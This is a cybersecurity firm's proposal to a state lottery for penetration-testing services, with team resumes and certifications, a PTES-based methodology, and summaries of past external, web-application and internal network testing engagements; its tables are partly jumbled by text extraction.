The following are the resumes of our project team:

1.4.4 Vicki Shah, PMP — Project Manager

EDUCATION, CERT	IFICATIONS, AND TECHNICAL SKILLS				
Education	MS, Computer Science, Oakland University				
Certifications	PMP, Project Management Professional				
Summary	For over fifteen years, Ms. Shah has been on Global Solutions Group's Contract and Project Manager for large IT programs, including those for city, state, local, and federal government agencies. She is experienced in PMI, procurement/contract management, process improvement, stakeholder management, and collaboration.				
	Ms. Shah has coordinated and o of Kansas, including our contrac	verseen our multiple engagements for the State t for providing CISO support personnel.			
	Ms. Shah recently completed we contract for Federal Informatic Analysis Services for the U.S multiyear, \$10 million U.S. De Assessment Program BPA contra skills have brought multiple prop	orking as Contract and Project Manager for our on Security Management Act of 2014 (FISMA) . AbilityOne Commission. She managed our partment of Agriculture Operational Security act. Her outstanding leadership and management jects to Global Solutions Group.			
WORK EXPERIENC	E				
9/2023 – 9/2023	7 Department of Homeland S Cybersecurity and Infrastru	ecurity (DHS) acture Security Agency (CISA)			
 Overseeing GSG personnel assigned to modernize DHS-CISA's Priority Telecommunications Services Operational Support Services (PTS OSS). Developing and supporting a system including web servers, database servers, websites and data driven web applications or an out-of-the-box Low Code/No Code solution, a system management and web development environment, and other system support components. Work includes application architecture, cybersecurity posture, streamlining, simplifying, and reducing the cost of IT solutions, program data validation and integrity, and data analytics and reporting. 					
7/2022 – 7/2022	7 Department of the Interior	- Interior Business Center Program Manager			
 Provides Program and Project Management for the DOI Information System Security Line of Business (ISSLOB) Support overseeing twenty-seven call orders for this contract. Project Management activities supported include: 					
 Develop, Breakdov Integrate Integrate Quality m Communitation 	execute, and manage Work vn Structure (WBS) d Master Plan (IMP) d Master Schedule (IMS) anagement plan ications management plan for ll program	 Project Management Plan (PMP) Project Management Schedule (PMS) for individual agency assessments, penetration tests, and web security assessments Risk management plan Creates weekly activity and monthly status 			
//2021 - //2024	Department of Treasury P	rogram Manager			



• Manages Cybersecurity Assessment Service Support. Manages the team of individuals working on all project-related activities, including the updating of technical and financial reports. Oversees the daily operations of the entire contract support team.

9/2018 – 9/2019 U.S. AbilityOne Commission | Project Manager

- Managed Federal Information Security Management Act of 2014 (FISMA) Analysis Services. Ensured the Committee's security systems took a risk based, cost-effective approach to secure its information and systems while effectively identifying and resolving IT security weaknesses and risks as well as protecting against future vulnerabilities and threats.
- Tasks included a complete IT system profile examination of all aspects of the system, including the following steps as they relate to the system network, hardware, and software.
- Analyzed of current IT network, information flow according to business requirements and points of access to information.
- Analysis of controls and procedures in various security management areas including threat management, vulnerability management, identity management, and change management.
- Analyzed existing network security architecture, including topology, configuration, and security components and features.
- Assessed the existing security controls and prioritized recommendations on improvements and/or additional controls to meet specified security policies.
- Assessed and prioritized recommendations for security procedures. Evaluated the security architecture for performance, scalability, reliability, and manageability.

2/2018 – 1/2019 Nevada Affordable Housing Assistance Corporation | Project Manager

- Oversaw all management activities for Network Penetration and Vulnerability Testing. Supported the internal and external network penetration testing to verify that the security controls implemented by the network infrastructure and supporting systems provided an adequate level of protection.
- Our attackers used a broad range of commercial and public tools from our well-maintained Virtual Security Test Center as well as manual methods.
- Penetration tests probed each host's transmission Control Protocol and User Datagram Protocol ports using a port scanner to determine what network services were provided by each host.
- Helped the team connect to the hosts to probe for known locally exploitable vulnerabilities. Assisted the team in using multiple tools with similar functionality to ensure that devices were examined rigorously and that the results were accurate.

The following demonstrates list of certifications held by our project manager:

Vicki Shah, Project Manager

Certifications	PMP	PMP Project Management Professional	
Ms. Shah's Certification:			







1.4.5 Vatsal Shah — Cybersecurity Technical Lead/Assessor/Penetration Tester

EDUCATION, CER	TIFICATIONS, AND	TECHNICAL SKILLS		
Education MS, Computer Science, University of Bridgeport				
Certifications	PCIP	PCI Professional		
	CCSK	Certificate of Cloud Security Knowledge V.4		
	CISA	Certified Information Systems Auditor		
	CISSP	Certified Information Systems Security Professional		
	CISSP-ISSAP	CISSP - Information Systems Security Architecture Professional		
	СЕН	Certified Ethical Hacker		
	GWAPT	GIAC Web Application Penetration Tester		
	HVATL/OP	High Value Asset Technical Lead (TL)/Operator (OP) Training		
Summary	Mr. Shah has over twenty years in information technology and operations. He possesses technical skills in network technologies, operating system platforms, and IT infrastructure security controls. Mr. Shah's specialty skills involve vulnerability assessment and penetration testing with a focus on secure network architecture, 802.11x (Wi-Fi), web application portals, and physical security. Mr. Shah has experience with CJIS, NIST, and PCI compliance. He has also performed assessments of regulatory compliance with the Heath Insurance Portability and Accountability Act (HIPAA) and Sarbanes-Oxley (SOX).			
	He has designed and implemented security architecture for product testing environments and operational use. His security architecture design experience includes firewalls, intrusion detection systems, Virtual Private Networks (VPNs), cryptographic systems, authentication mechanisms, and multiple-tier web applications.			
WORK EXPERIEN	CE			
7/2022 – 7/202	27 Departm Call Orde	ent of the Interior - Interior Business Center er Project Manager		
• Providing Information System Security Line of Business (ISSLOB) support, including comprehensive services that involve performing full-scale system assessment and authorization audits or system assessment only audits; and targeted services that involve performing discrete specific security-related audit functions based on the customer agency's need.				
11/2020 – 12/2020 Jacksonville Aviation Authority Penetration Tester				
 Provided Network Penetration Testing, project consisted of external network penetration testing, internal network testing and mapping of JAA's network with the goal of obtaining access to protected data in four categories: Access Control, Law Enforcement and Criminal Justice Information System Compliance, PCI Compliance, and General Security. Testing was conducted at the four airports under JAA's control. 				
6/2020 - 9/202	20 Kansas E	Pept. of Health & Environment (Topeka, KS) Technical Lead		
• Conducted external scans using a suite of tools that assess the EpiTrax Application Security Assessment from the perspective of an outsider, along with manual verification of vulnerabilities and exploitation of identified application/host vulnerabilities to gain system level access, obtain custom data, or deny service to the application.				
1/2020 - 1/202	Lansing	Board of Water and Light		



Cybersecurity Technical Lead/ Penetration Tester

• Performed penetration testing on all new enterprise applications being deployed into the environment and existing applications that have gone through a significant upgrade.

1/2020 - 4/2020 Fort Wayne-Allen County Airport Authority Penetration Tester, Security Assessor

• Led a full IT Security Assessment including multiple assessments of the internal and external networks, social engineering testing, review of network device configurations, application and wireless penetration testing, and social engineering efforts.

12/19 -1/20,
11/18 - 12/18Nevada Affordable Housing Assistance Corp. | Penetration Tester

- Provided Network Penetration and Vulnerability Testing.
- Exposed vulnerabilities and safely exploited them to gain access to the NAHAC's system, without any detection, without any interference, and without any outage.
- Activities included: define scope and communications; intelligence, threat modelling utilizing automated tools. Performed vulnerability analysis to review security risks associated with the network(s) and possible means of exploitation; exploitation of discovered vulnerabilities.

9/2017 - 9/2021 USDA Office of the Chief Information Officer Technical Lead/Penetration Tester

- Provided Operational Security Assessments, Penetration Testing, and Web Security Assessments. Served as the cybersecurity subject matter expert and internal penetration tester to perform Web Security Assessments on designated HVA Web Applications for USDA agencies.
- Performed security assessments and penetration testing and performed security assessments of web servers and applications.

7/2017 – 7/2024 **Department of Treasury | Technical Lead/Penetration Tester**

- Currently providing Systems Security Services Support to enhance the mission assurance posture of the OIG network by conducting a comprehensive cybersecurity assessment, document findings in a Plan of Action and Milestones (POA&M).
- Supports the OIG with implementation of Government approved mitigations in accordance with NIST and Committee on National Security Systems Instruction (CNSSI) to include the NIST Risk Management Framework (RMF).

4/2017 - 5/2017 Energy Meters, Energy Bridge and Supporting Environments – Confidential Critical Infrastructure Client

- Conducted Security Architecture Review of Energy Bridge and other "smart" devices.
- Provided analysis of utility meters communications, configuration, topology review and the vulnerability test of various communication channels, ZigBee, ZWave, Wi-Fi and Bluetooth used by energy bridge and other home automation devices.

1/2017 – 7/2017 U.S. Air Force | Penetration Tester

• Provide black-hat style hacking attacks into the Air Force's non-classified servers.

• Conducted vulnerability assessments, identified weak points, which were breached.

3/2015 – 4/2017 Vulnerability Assessment of a Confidential Chemical/Energy Client

• Conducted configuration review and vulnerability assessment of their Process Control Network (PCN) which consists of the perimeter firewalls, Historian systems and Programmable Logic Controllers (PLCs), wireless scanning and testing.



The following demonstrates list of certifications held by our Cybersecurity Technical Lead/Assessor/Penetration Tester:

Vatsal Shah, Cybersecurity Technical Lead/Assessor/Penetration Tester









1.4.6 Kumar Setty — Cybersecurity Assessor

EDUCATION, CER	TIFICATIONS, AND	TECHNICAL SKILLS		
Education	MS, Software Er	ngineering, Carnegie Mellon University		
Education	MBA, University of Illinois, Chicago			
	BS, Chemical En	gineering, University of Rochester		
Cortifications	HCISSP	Healthcare Information Security and Privacy Practitioner		
certifications	CISSP	Certified Information Systems Security Professional		
	CISA	Certified Information Systems Auditor		
	AWS	Amazon Web Services Certified Cloud Practitioner		
	CCSK	Certificate of Cloud Security Knowledge		
	ITIL v3	Foundations Certification		
	MISC.	Software Security Foundations, Stanford University		
Summary	Mr. Setty has or multiple sector His areas of exp IT Compliand Cybersecurit	 ver fifteen years of experience in providing penetration testing in s including university, healthcare, finance, and technology sectors. bertise include: ce and Risk Mgmt. Vulnerability/Threat Assessments cy Architecture Governance Frameworks Standards Taam Leadership and Mantering 		
	• Regulatory/s	Standards • Team Leadership and Mentoring		
	Compliance	Cybersecurity Training/Desk Top		
	 IT Security P 	olicy Development Exercises		
	 Healthcare a Systems 	nd Fintech Security • Project and Program Management		
	Mr. Setty is highly adept in developing and implementing security, privacy, and breach management programs with expertise in vulnerability assessment and penetration testing. In-depth knowledge of security assessments of databases, EHR/EMR, SAP, Oracle Financials, and other ERPs.			
	Eight years of and audits. Wel DSS, SEI-CMM r understanding MITRE ATT&CI	experience in performing security and privacy risk assessments Il-versed in HITRUST SOC 1/2/3, FFIEC, NIST, COBIT, HIPAA, PCI- nethodology, IT QA methods, and ISO security standards with vast of threat modeling using frameworks such as Octave Allegro and K.		
WORK EXPERIEN	ICE			
01/2022 -	Global Sol	utions Group, Cybersecurity Assessor		
 Ongoing Provides vCISO support to multiple clients. Supports Cybersecurity Assessments and Remediation Activities. Conducts Cyber Maturity Assessments. Develops Audit Charter and 				
Framework Documentation.				
10/2020 - 12/2	2021 Halo Inves Chief Infor	sting rmation Security Officer		
• Spearheaded organizational security infrastructure from inception to launch for highly regulated fintech start-up. Established IT security governance program, assessment program, IT security policy framework, and comprehensive policies and procedures, including incident management procedures.				
 Manageu and Designed en 	d developed com	re file transfer portal for information exchange		
 Designed an Leveraged M 	ITRE ATT&CK fra	amework and OCTAVE Allegro methodology to build threat model.		



• Devised and led cybersecurity training program using KnowBe4 to educate staff on phishing and spear phishing, vishing, awareness, and USB handling. Optimized data security by deploying Sophos endpoint protection and mobile device management, JumpCloud IAM solution, GSuite, and AWS hardening. Designed compliance management system, developed IT risk assessment framework and assessment program based on NIST, FFIEC, and HITRUST, and implemented architecture for FINRA 17a-4 (WORM) compliance. Implemented and executed recurring IT controls assessment plan based on NIST 800-53. Implement fraud risk assessment methodology and program.

7/2016 – 9/2020 Chief Information Security Officer (CISO), Naperville, IL Client Confidential

- Provided **direct client services** for healthcare providers, fintech, global safety organizations, and medium-to-large retailers. Managed team of five consultants, successfully supervising and executing cybersecurity projects for numerous clients.
- Cloud Security (AWS and Azure) Developed and implemented risk management framework, AWS Cloud security assessment plan, and policies/procedures in line with HITRUST and HIPAA, CIS, NIST CSF, NIST 800-53, and PCI. Established best practices, dashboards, and analytics to measure security posture and service desk capabilities (ITIL). Institute security baseline for future Cloud projects. Compiled reports on current Cloud security and privacy trends.
- Healthcare Privacy and Security Oversaw project plan development and implementation focusing on risk analyses and assessments in alignment with Resolution Agreement and Corrective Action Plan mandated by Office of Civil Rights, and with grant funding from Department of Homeland Security and Medical Device Innovation, Safety and Security Consortium (MDISS).
- **EHR systems**, merging with billing systems and insurance interfaces, and setting up QuickBooks accounting software. PCI-DSS Compliance Spearheaded comprehensive PCI-DSS readiness and gap assessment, managing in-depth PCI scope reduction in collaboration with third-party consultants.
- **Vulnerability Assessment and Penetration Testing** Conducted vulnerability assessments and penetration tests of hosted applications and utilized Tenable, Nikto, Nmap, Burp Suite, and ZAP to design IT infrastructure.
- **Service Desktop Optimization** Formulated and introduced Jira workflows for user provisioning and developed scripts and weblinks to vendor portal. Performed ITIL gap/maturity analysis, implementing guides and SOPs reducing repetitive tickets by 85% and help desk time by 75%.
- **Robotic Process Automation (UiPath)** Innovated solution to automate monthly security reviews and simple SAP audit tests, saving client 75% on audit fees.

6/2013 – 6/2016 **Presence Health, Security and Privacy Consulting Manager**

• Assessed and improved data security and privacy for healthcare clients, performing risk/security assessments, cybersecurity research, and threat modeling in collaboration with internal staff. Established comprehensive policy framework and ensured regulatory compliance by employing HIPAA OCR Audit Program for Security, Privacy, and Breach Notification. Accomplished periodic vulnerability assessments, penetration tests, and on-site security reviews in addition to compiling and presenting reports on phishing, spear phishing, and social engineering exercises.

4/2012 – 5/2013 Grant Thornton LLP, Business Advisory Services Manager

• Oversaw team of 2-5 employees in execution of audits and assessments for mid-market companies, healthcare providers, and NPOs, managing SOC 1, 2, and 3 attestation engagements in Midwest region and ensuring safety controls for information stored and processed in the



Cloud. Successfully directed staff and finances for multiple assurance/audit projects, completing on time and within budget.

3/2011 – 3/2012 **PricewaterhouseCoopers, Assurance Manager**

• Conducted audits and assessments for Fortune 500 companies and large healthcare providers while managing a team of 10-25 employees. Directed projects involving network security, HIPAA compliance, J-SOX, IT SOX, ERP security, data conversion, and support of financial statement audits, overseeing offshore resources for successful global audit execution. Accomplished successful and timely execution of numerous projects with budgets ranging from \$100k to \$750k.

The following demonstrates list of certifications held by our Cybersecurity Assessor:

Kumar Setty, Cybersecurity Assessor

Certifications	HCISSP CISSP	Healthcare Information Security and Privacy Practitioner Certified Information Systems Security Professional					
	CISA	Certified Information Systems Auditor					
	AWS	Amazon	Web Service	s Certified	l Cloud Pr	actitioner	
	CCSK	Certificat	e of Cloud S	ecurity Kr	lowledge		
	ITIL v3	Foundati	ons Certifica	ation	_		
	MISC.	Software	Security Fo	undations	, Stanford	University	
		Mr. Set	ty 's Certifi	cations:		-	
ISACA Certification Verification on							
			Name: Venkate	shkumar P. Setty			
Name: Venkateshkumar Setty Status: Active Certification Type: CISA Certification Number:		Certification	Certific	ate #	Expiration Date	Status	
Expiration Date: 31 December 2023			PCIP			14 Jan 2025	VALID
CISA Certification PCI – Payment Card Industry Professional			ssional				
VENKATESHKUM (ISC) ² ID Number Certification HealthCare Information 5	IAR SETTY		Name: Venkateshkumar Company Name: SITS LLC Company Phone: 2035267	? Setty (dba COMPLIANCE VIEW) 530			
Active Date Jan 25, 2016 Expiration Date			Certification	Certificate #	Expiration Date	Status	Leave Feedback for this Assessor
Jan 31, 2025			QSA ***PCIDS5 v4 Qualified		08 Jan 2024	VALID	Submit Feedback
Certification Certified Information S Active Date Jan 31, 2020 Expiration Date Jan 31, 2023	ystems Security Professional		I	PCI Qualif	ied Secur	ity Assesso	or



2. Comply with Center for Internet Security Methodology, Employ from OWASP Top 10 and NIST SP 800-115 [RFQ 3.5]

Our penetration testing consists of a review of vulnerabilities that could be exploited by external users without credentials or the appropriate rights to access a system. The assessment will show whether there has been a Return on Investment of existing implemented security controls, such as firewalls, intrusion detection and prevention systems, or implemented application defenses. The aim of GSG's services is to utilize the Penetration Testing Execution Standard (PTES) as the basis for penetration testing execution:

- Pre-engagement Interactions
- Intelligence Gathering
- Threat Modeling
- Vulnerability Analysis
- Exploitation
- Post Exploitation
- Reporting

GSG's professionals take on the role of external attackers and attempt to exploit vulnerable systems to obtain confidential information compromise the network perimeter. We build scenarios utilizing the compromised system as a pivot point to penetrate further into the network infrastructure, to demonstrate the potential impact of a successful compromise. Our methodology is in accordance with best practice standards and incorporates guidelines from PTES.



01 Pre- Engagement Interactions	In the pre-engagement stage, the scope is clearly defined, providing GSG with the knowledge we need to make an accurate assessment of the amount of time/work required. It is also an opportunity for GSG to work closely with the Lottery to ensure they understand what needs to be done and why. Through this process an accurate schedule and cost estimate will be provided. Any requested additions to this initial scope will need to be thoroughly discussed and separately scheduled and priced.
	As part of this process, any third-party software, data centers, cloud environments, etc., will need to be addressed, and a decision will be made regarding including or excluding such parts of the network in the scope.
	GSG will then develop the rules of engagement, which presents and explains the tools and strategies that are to be used, pertinent locations, rules for handling documentation/evidence, final approval to commence testing, and any legal considerations.



02	Intelligence Gathering				
Intelligence Gathering	GSG provides a standard in Intelligence Gathering that is especially made for pen testers doing reconnaissance on a target. The document explains the objectives and thought process behind pen testing reconnaissance, and when used appropriately, it aids the reader in creating a highly tactical attack strategy. The main components of intelligence gathering include:				
	 Target selection Open Source Intelligence (OSINT) Covert gathering Footprinting Identification of protection mechanisms 				
03 Threat Modeling	This section explains the threat modeling technique that is necessary to carry out a penetration test correctly. Instead of requiring a specific model to be utilized, the GSG standard specifies that the model must be consistent in how threats are represented, their capabilities, their suitability for the organization being evaluated, and their capacity to be used repeatedly to future tests with consistent outcomes.				
	The attacker (threat community/agent) and assets are the two main components of classical threat modeling that are the emphasis of the GSG standard. Each is divided into the threat communities and their capabilities, business assets, and business processes, in that order.				
04 Vulnerability Analysis	GSG finding weaknesses in systems and apps that an attacker could exploit is known as vulnerability testing. These vulnerabilities might be anything from improper host and service settings to poorly designed applications. Some fundamental principles apply to the process of searching for defects, even though the exact component being evaluated determines the procedure in many ways. Threat modeling looks at four key areas:				
	 Business Assets: These are the Lottery's data and human assets – including employees, subcontractors, etc. Business Processes: This includes overall information infrastructure, employees, and third-party vendor integration. Threat Community: The potential actors that can present a threat to the Lottery's assets. This can be broken down into two categories: Internal threats: Employees, insiders, contractors, or anyone else who may have authorized access to your network. External threats: Competition, organized crime, hackers, terrorist organizations, or other unforeseen actors, Threat Capability Analysis: This defines the available tools for enacting a threat, the skillsets required, and the threat motivation 				
05 Exploitation	The exploitation stage of a penetration test is all about getting past security measures to get access to a system or resource. If vulnerability analysis in the previous phase was done correctly, this phase should be precisely planned and				


	executed. Finding the primary point of entry into the company and high-value target assets are the key priorities.A high value target list should have been complied with if the vulnerability analysis process was correctly finished. The assault vector should ultimately examine the likelihood of success and the greatest impact on the company.
06 Post Exploitation	Our goal during the post-exploitation phase is to preserve machine control for potential future usage and assess the compromised machine's worth. The sensitivity of the data held on the machine and its potential to compromise the network further define its value. The techniques covered in this phase are designed to assist the tester in locating and recording sensitive data, identifying communication channels, configuration settings, and connections to other network devices that may be utilized to obtain additional network access, as well as setting up one or more ways to access the machine in the future. In situations when these approaches deviate from the established Rules of Engagement, the Rules of Engagement shall prevail
07 Reporting	The executive summary and technical report, which comprise the two (2) main components of the GSG report, are designed to convey to different audiences the goals, procedures, and outcomes of the testing that was done.

Demonstrated Experience with Penetration Testing Execution Standard		
Retail outlets (Client Confidential)	The main objective of penetration testing is to identify security weaknesses and perform exploitation on retailer's internal network and store environment with coordination with the top management but remaining stealth from the IT security and operation teams. The assessment was following Penetration Testing Execution Standard (PTES). The assessment had following tasks: Intelligence Gathering, Vulnerability Analysis, Exploitation, Post Exploitation, and Reporting.	
Critical Infrastructure Client (Utilities) (Client Confidential)	Network and non-credentialed Application Penetration Testing of approximately 300 devices, services, and applications in an Internet- facing environment. The assessment was following Penetration Testing Execution Standard (PTES). The assessment had following tasks: Vulnerability Analysis, Exploitation, Post Exploitation, and Reporting.	

3. Background Checks

GSG acknowledges that prior to award and upon request we will provide background checks for our project team.

4. Non-Disclosure Agreement (NDA)

GSG acknowledges that prior to the award we will sign the NDA with the Lottery.

5. Response to Mandatory Requirements

GSG's approach to performing the technical areas that are listed in the **Scope of Services** is explained in detail in the subsequent sections. The technical approach and methodologies are based on our collective experience operating within large infrastructure environments, utilizing technology tools to eliminate weaknesses in highly regulated information security architecture environments.

Our approach includes the deployment of enterprise-level strategies to promote lower levels of redundancy, while sustaining or exceeding overall job performance. GSG has an experienced team, with the expertise and proven processes to manage all the tasks listed in the **Scope of Services**, offering a collaborative partnership that ensures lowered costs with increased quality.

5.1 External Network Penetration Testing [RFQ 4.1]

GSG's External Network Penetration Testing identifies the key strengths and weaknesses of Lottery's current environment, allowing you to see how it would manage diverse types of cyber-attacks. Once we have assessed your system for vulnerabilities, we conduct simulated attacks where we behave like the world's most sophisticated cyber-intruder to determine how those vulnerabilities could be exploited. Using the results, we develop a remediation strategy that will help Lottery to mitigate the risk of falling victim to authentic cyber intruders. GSG delivers public-facing network services that could provide a point of entry to unauthorized attackers through the successful exploitation of identified vulnerabilities. Performing assessments against the external network vulnerability can help an organization:

Confirm publicly available networks/systems and the applications running on those systems.	Fulfill requirements of applicable regulations and/or compliance standards.	Validate/assess the effectiveness of existing security controls.	Identify/assess the impact of network weaknesses before a malicious attacker does	Assess the adequacy of intrusion detection and response systems.	Gain actionable recommendations designed to mitigate discovered vulnerabilities.
--	---	--	---	--	---

Four-Phased Structure Methodology

Our External Network Penetration Testing methodology is continuously engineered to meet evolving best practices and is informed by several standardized approaches. Each engagement is customized to meet unique goals and objectives, therefore the specific elements of our methodology that are leveraged are contingent upon the level of testing and defined scope. The following is an accounting of the potential testing phases and their respective individual elements:

Footprint	This step involves searching various publicly available sources for detailed
Reconnaissance/	company-specific information. This allows us to identify target systems
Analysis	and provides information that may prove useful in an attack.
System, Service,	Here we take a more focused look at the devices, servers, and Internet-
and	facing applications. We use a variety of specialized security tools to
Vulnerability	identify the architecture and vulnerabilities. The goal is to identify
Identification	systems/devices that respond to authorized and unauthorized requests,
	the services/applications that those systems are providing, and inherent
	and/or potential vulnerabilities.
Exploitation	This is the attempt to gain unauthorized access to systems and/or
	information utilizing the vulnerabilities identified in the previous phase.
	This task is customized based upon the findings of the engagement. GSG's
	approach is to exploit the network vulnerability and gain access to



	systems/information; once access is obtained, GSG will report the finding to Lottery so the method of access can be remediated promptly. If requested by the Lottery, GSG can attempt to pivot the attacks towards internal machines; however, our general approach is to report the finding and many on to find additional automal unbarrehilities.
Reporting	In this final phase of the engagement. GSG will generate an executive summary and a technical report that explains the findings, including visuals/screenshots, provides customized remediation recommendations, and, if available, includes details on repeating the attack scenario. GSG's cybersecurity professionals bring highly skilled expertise to each unique engagement through specialized training in security testing disciplines. Continuous education is a fundamental element of ensuring quality testing and our personnel maintain several professional credentials as well.

Demonstrated Experier	ce with External Netwo	rk Penetration Testing
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U.S. Department of Agriculture (USDA) Agriculture Security Operations Center (ASOC)	Our team conducted penetration testing of USDA-ASOC's general support systems in 21 agency departments nationwide, including USDA facilities in other countries. We conducted internal and external network penetration assessments to verify that the security controls implemented by the agency's network infrastructure and supporting systems provided an adequate level of protection against both internal and external network attacks.		
	Scope of Testing	 External & Internal Penetration Tests External & Internal Vulnerability Scans Web Application Penetration Tests Web Application Vulnerability Assessments 	
Nevada Affordable Housing Assistance Corporation (NAHAC)	Our team performed vulnerability assessments at NAHAC. The purpose of this project was to find vulnerabilities, safely exploit them, and gain access to NAHAC's system without detection, without interference, and without any outage.		
	This project included pre-engagement activities to further define scope and communications; intelligence gathering to gain knowledge of the 'target'; threat modeling to gain knowledge of the network configuration and identify known vulnerabilities with the use of automated tools; vulnerability analysis to review security risks associated with the network and possible means of exploitation; exploitation of discovered vulnerabilities; attempts to gain elevated/privileged user access; and documentation, discussion, and reporting of our findings and recommendations.		
	Scope of Testing	 External & Internal Penetration Test External & Internal Vulnerability Scans Web Application Penetration Tests Web Application Vulnerability Assessments 	

5.2 Website Penetration Testing [RFQ 4.2]

Our web application assessment focuses the entire test on the web application(s) that are being tested, rather than an all-inclusive test of running services that an external penetration test or internal penetration test would provide.

GSG will assess your organization's web application from different perspectives:

- What can an unauthenticated attacker access and manipulate?
- What can an attacker with normal user permissions access and manipulate?
- If an attacker were to obtain administrative permissions on your web application, what can be performed?

GSG will conduct the web application assessment following the same steps that an attacker would perform. A sample set of these steps include:

- Understand the business purpose of the web application
- Why does it exist?What problem
does it solve?How does it make your business practices
easier, or more efficient?
- Identifying all pages associated with your web application and mapping links/relationships between the pages.
- Identify input fields within the targeted web application and test for the application to properly handle malicious input attacks such as SQL injection or cross-site scripting.
- GSG will review the business logic associated with the web application and identify attacks that bypass critical steps.
- Test for improperly managed web application sessions.

Methodology

The web application assessment methodology is used to identify any potential vulnerabilities within the network. This is an outline of the approach that the Penetration Testing Team may take based upon the scope and environment being assessed.

We have developed a documented, proprietary methodology for conducting Vulnerability Assessments of web-based applications, which includes over twenty-five categories of testing. Some of these categories include:

- Testing the strength of the session credential used by the web application. This includes testing the mechanism used to track user sessions (URL re-writing, cookies, hidden form elements, and HTTP basic authentication). Lynx tests for predictability of the session credential, whether or not it is subject to manipulation, cloning, or hijacking, and other common weaknesses in the methodology used to track user sessions.
- Strength and proper logic flow of server executables (.CGI, .ASP, .PHP, Cold Fusion, PERL, etc.) and the lack of proper bounds checking, which can lead to buffer overflow attacks, along with DoS attacks. In addition, stack-based buffer overflow vulnerabilities of the web server daemon are checked. Lynx also tests for SQL piggybacking, whereby user input is appended with database query and update statements in an attempt to get the database to perform unauthorized transactions.
- Improper configuration of the web server, possibly resulting in indexable directories, robots.txt file, default content, default executables (with known vulnerabilities), and the ability to use HTTP commands such as PUT and DELETE without authorization.
- Review of HTML source for vulnerabilities such as excessive information in comments and the use of POST commands versus GET commands. Hidden Form Elements are also tested for possible exploits.

- Strength of the login and authentication process against common exploits such as username and password harvesting. Completeness of the logout and timeout functions is also thoroughly tested. Additionally, account lockout is tested, both from a security perspective to minimize the chance of brute-force attacks, and DoS perspective.
- Proper use of encryption, certificate authorities, and SGC (Server Gated Cryptography) to support 128-bit SSL encryption for non-US exportable browsers.
 - Automated gray-box testing vulnerability scanning approach will be followed by using \Diamond tools such as, Retina Web Security Scanner, Web Inspect, NetSparker, AppScan, etc.
 - Manual grey-box web application testing in order to verify vulnerabilities found during \Diamond scans, and to discover additional application logic flaws in the system.
 - The vendor may use additional testing software to conduct the application assessment, \diamond e.g.:

	Retina Web Security Scanner Burp	A A	Zap SQLmap
Demonstrated Ex	xperience with Website and W	eb A	pplication Penetration Testing
Fort Wayne–Allen County Airport Authority	Our project included applic Application Security Risks. Pr a phased assessment consi vulnerability validation, and application testing was perfo applications, including Office 3	atior ior to sting docu rme 365.	testing for OWASP Top 10 Web o the penetration tests, we conducted g of data collection and scanning, mentation of findings. External web d on the web portal and third-party
USDA National Institute of Food and Agriculture (NIFA)	GSG provided website and app to: improper configuration of indexable directories, robots t executables (with known vuln commands such as PUT and D HTML source for vulnerabiliti comments and the use of POS Hidden Form Elements are als strength of the login and author exploits such as username and the logout and timeout function Additionally, account lockout	blicat the v xt fil erab ELET es su Γ con to tes entic l pas ons is is tes te-fo	tion testing including, but not limited veb server, possibly resulting in e, default content, default ilities), and the ability to use HTTP TE without authorization; review of ch as excessive information in nmands versus GET commands. Sted for possible exploits; and ation process against common sword harvesting. Completeness of also thoroughly tested. Sted, both from a security perspective rce attacks, and DoS perspective.

5.3 Internal/Client-Side Network Penetration Testing [RFQ 4.3]

GSG's Internal Network Penetration Test methodology will be utilized to test the internal web portals used for the Lottery's infrastructure, as well as for testing camera networks and door security systems. Our team will provide an insightful review of the state of all internal network assets including vulnerabilities, misconfigurations, and other health indicators. GSG has been leveraging our experience reviewing real-world exploits and our expertise in implementing and configuring secure camera and entry systems for clients including the U.S. Border Patrol, Travis Air Force Base, and other highly secure facilities. GSG's Internal Network is a hands-on, privileged security inspection consisting of two components. First, we look at the configuration of systems to evaluate the strengths and weaknesses of the Lottery's information system's design and technical/operational controls. Then we run a vulnerability scan on the internal network to identify vulnerabilities that are specific



to your system and devices. We use the credentials of domain administrators, which allows us to look at things like domain registries and patches.

Through the Assessment, we will:

- ✓ Document your global network security settings and configurations.
- ✓ Document relative strengths and weaknesses of your current technical/operational controls.
- ✓ Assign compliance ratings of system configuration and settings in accordance with industry standard and regulatory best practices, including FFIEC, NCUA, and CMS guidelines, the National Security Agency Gold Standard, National Institute of Standards and Technology guidance, ISO 27002 standards, and relevant vendor recommendations.
- ✓ Identify system/device-specific vulnerabilities using the Department of Homeland Security Common Vulnerabilities and Exposures (CVE) database.
- ✓ Provide specific, detailed remediation recommendations.

GSG follows the following methodology for Internal Network Penetration Testing:

Data Collection

We conduct data collection through discussions with the system owners and using automated and manual open source, commercial and proprietary tools, interviews, and observation techniques. Administrative credentials are required to perform the **Configuration Assessment. We conduct** the Vulnerability Assessment using licensed commercial vulnerability scanners that support a wide range of network devices, operating systems, databases, and applications. While administrative credentials are optional for the vulnerability scans, we encourage using them to scan Microsoft Windows environments because the results will be more accurate and will better expose the system's vulnerabilities.

Data Analysis

Our experts perform the Data Analysis Phase of the assessment off-site by reviewing the data we have collected. In the Configuration Assessment Analysis, we compare each system and assign compliance ratings in accordance with industry standard and regulatory best practices. In the Vulnerability Assessment Analysis, we review the results of the vulnerability scans to ensure that the most relevant information is included in a clear and concise manner.

Once we have analyzed the data, we will schedule a meeting with the Lottery departments to review the results systematically. The

Reviewing our Findings

Internal Vulnerability Assessment report includes: 1) A summary of the findings presented in an executive report in PDF. 2) A corresponding interactive HTML report provides the details for each of the Assessment categories, as well as the device-specific vulnerabilities. 3) An action plan detailing our recommended remediation activities.

Demonstrated Experience with Internal Network Penetration Testing		
Nevada Affordable Housing Assistance Corporation (NAHAC)	GSG performed an internal and external network penetration test and security assessment to verify that the security controls implemented by the NAHAC network infrastructure and supporting systems provided an adequate level of protection. Our team used a broad range of commercial and public tools from our Virtual Security Test Center (VSTC), along with manual methods.	
Fort Wayne-Allen County Airport Authority	GSG conducted internal and external penetration testing to verify that reasonable controls were in place to comply with industry best practices and to confirm that access to the Authority's IT environment did not compromise system confidentiality, integrity, or the availability of other	



	resources. Our project included application testing for OWASP Top 10 Web Application Security Risks.
PCI-DSS Penetration Tests and Segmentation Validation (Client Confidential)	PCI–DSS Requirement 11.3.4 requires all organizations to perform segmentation testing and internal network penetration testing at least annually if segmentation controls are utilized to isolate the Cardholder Data Environment (CDE) from other network segments. The intent of this requirement is to verify that the segmentation controls/methods function effectively and as expected. Segmentation testing, and internal penetration testing will show if a user can gain unauthorized access to the system/data within the CDE.

5.4 Wireless Penetration Testing [RFQ 4.4]

